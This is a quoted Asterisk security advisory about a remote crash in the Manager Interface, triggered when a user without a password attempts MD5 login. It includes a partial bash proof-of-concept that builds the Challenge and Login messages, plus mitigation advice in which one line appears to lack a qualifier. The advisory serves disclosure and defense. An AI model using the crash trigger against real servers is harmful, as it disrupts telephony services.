> | Description | The Asterisk Manager Interface has a remote crash
|
> | | vulnerability. If a manager user is configured in
|
> | | manager.conf without a password, and then a connection
|
> | | is made that attempts to use that username and MD5
|
> | | authentication, Asterisk will dereference a NULL
pointer |
> | | and crash.
|
> | |
|
> | | This example script shows how the crash can be
|
> | | triggered:
|
> | |
|
> | | #!/bin/bash
|
> | |
|
> | | function text1() {
|
> | |
|
> | | cat <<- EOF
|
> | |
|
> | | action: Challenge
|
> | |
|
> | | actionid: 0#
|
> | |
|
> | | authtype: MD5
|
> | |
|
> | | EOF
|
> | |
|
> | | }
|
> | |
|
> | | function text2() {
|
> | |
|
> | | cat <<- EOF
|
> | |
|
> | | action: Login
|
> | |
|
> | | actionid: 1#
|
> | |
|
> | | key: textstringhere
|
> | |
|
> | | username: testuser
|
> | |
|
> | | authtype: MD5
|
> | |
|
> | | EOF
|
> | |
|
> | | }
|

> | Resolution | The manager interface is not enabled by default. If it
is |
> | | enabled, the only way this crash can be exploited is if
a |
> | | user exists in manager.conf without a password. Given
the |
> | | conditions necessary for this problem to be exploited,
|
> | | the severity of this issue is marked as 'moderate'.
|
> | |
|
> | | All users of the Asterisk manager interface in affected
|
> | | versions should ensure that there are no accounts in
|
> | | manager.conf. Alternatively, the issue can be avoided
by |
> | | completely disabling the manager interface.
|
> | |
|
> | | Users of the manager interface are encouraged to update
|
> | | to the appropriate version of their Asterisk product
|
> | | listed in the 'Corrected In' section below.
